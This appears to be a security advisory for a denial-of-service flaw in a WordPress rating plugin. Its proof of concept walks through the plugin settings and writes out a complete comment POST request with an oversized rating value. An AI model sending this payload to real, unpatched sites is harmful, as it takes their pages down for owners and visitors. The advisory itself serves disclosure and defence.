Rating by BestWebSoft < 1.6 - Rating Denial of Service

The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service on the post/page when a user submit such rating

PoC

Under Settings -> Discussion, uncheck “Comment must be manually approved” Install and Enable Rating BestWebSoft plugin Change “Enable Rating for” to “All” (Works for others, but this allows guest to post) Change “My Rating Position” to “In comments” Submit a valid comment and capture with Burp or another application. Change the post parameter “rtng_rating[0]” to a large integer such as 1000000000 POST /wp-comments-post.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 151 Connection: close Cookie: [depends on plugin’s settings] Upgrade-Insecure-Requests: 1 rtng_show_title=1&rtng;_rating%5B0%5D=1000000000&comment;=aa&author;=Yolo&email;=krkgh%40jgoirtjg.com&url;=&submit;=Post+Comment&comment;_post_ID=5887&comment;_parent=0